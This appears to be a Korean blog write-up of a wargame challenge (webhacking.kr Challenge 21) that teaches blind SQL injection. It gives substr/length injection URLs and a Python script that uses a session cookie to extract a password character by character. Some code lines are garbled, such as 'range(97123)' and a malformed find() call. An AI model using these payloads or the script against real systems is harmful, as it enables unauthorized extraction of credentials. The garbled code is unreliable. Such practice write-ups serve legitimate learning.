본문 바로가기

WarGame/webhacking.kr

[webhacking.kr] Challenge 21 :: Blind SQL Injection 1


Challenge 21은 다음과 같습니다.




Blind SQL Injection은 True와 False의 결과만을 보고 값을 추측하는 공격입니다.


본 문제에서는 True와 False가 명시되어 나오지만, 


실제 모의해킹에서는 (예를 들면) 게시판이 출력되는지 않되는지 등의 반응을 보고 판단하게 됩니다.



입력 폼에 "1" 과 "2"를 입력하면 True가 나오고 그 이외에는 False가 나옵니다.


이로 인해서, Table에 2개의 Data가 있는 것으로 추측할 수 있습니다.



SQL 함수의 length() 와 substr() 함수를 사용하여 문제를 풀어보도록 하겠습니다.


  • length() : 문자열의 길이 반환

  • substr( str, start, length ) : str start 위치부터 length 까지의 문자열을 반환 (start는 1부터 시작)



먼저, id에 있는 값부터 알아보도록 하겠습니다.


no=1 과 2 중에 admin이 있을 것으로 추측됨으로 admin이 어디에 있는가 부터 알아보면, 


▼ 다음과 같은 Query를 날려볼 수 있습니다.


Query

Result

 ?no=1%20and%20substr(id,1,1)=char(97)#

False

 ?no=2%20and%20substr(id,1,1)=char(97)#

Ture


이 결과로 no=2가 "admin" 일 것이라는 추측을 할 수 있고, 


substr(id,2,1) ... 이런식으로 1글자씩 찾아보면 admin이 맞다는 것을 알 수 있습니다.



이제 pw를 알아보도록 하겠습니다.


바로 값을 추출하기 앞서서 length() 함수를 통해 pw의 자리 값을 알아내면 더 편하겠죠?


?no=2%20and%20length(pw)<20#

?no=2%20and%20length(pw)<15#

.

.

.


이런식으로 대입하다 보면 ?no=2%20and%20length(pw)=19# 에서 True가 나옴으로, pw는 19자리 입니다.



이제 한 자리씩 알아봅시다.


?no=2%20and%20substr(pw,1,1)<char(97)#

?no=2%20and%20substr(pw,1,1)<char(105)#

.

.

.


이런식으로 값의 범위를 좁히다 보면 pw의 첫번째 자리 값을 알수 있고, 


2번째 자리, 3번째 자리... 도 알아 낼 수 있습니다.



19자리의 pw를 알아내면 Success!



수동으로 찾기 어려움이 있기 때문에, 


다음과 같이 Python을 이용하여 간단한 Tool을 만들어 보았습니다. ( Python version 3.5 )


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import urllib.request
 
url = "http://webhacking.kr"
id_pw = "id=juun&pw=****"
 
req = urllib.request.Request(url, id_pw.encode()) # POST Data should be Bytes.
res = urllib.request.urlopen(req)
 
session_id = res.headers.get("Set-Cookie")
 
for i in range(1,20):
    for j in range(97123):
        req = urllib.request.Request(url+"/challenge/bonus/bonus-1/index.php?no=2%20and%20substr(pw,"+str(i)+",1)=char("+str(j)+")#")
        req.add_header("cookie", session_id)
        res = urllib.request.urlopen(req)
        if res.read().decode().find("True"!= -1# Bytes is required, not str.
            print(chr(j), end='')
            break
cs


( Python version 2.x에서는 encode()와 decode()를 하실 필요 없습니다. )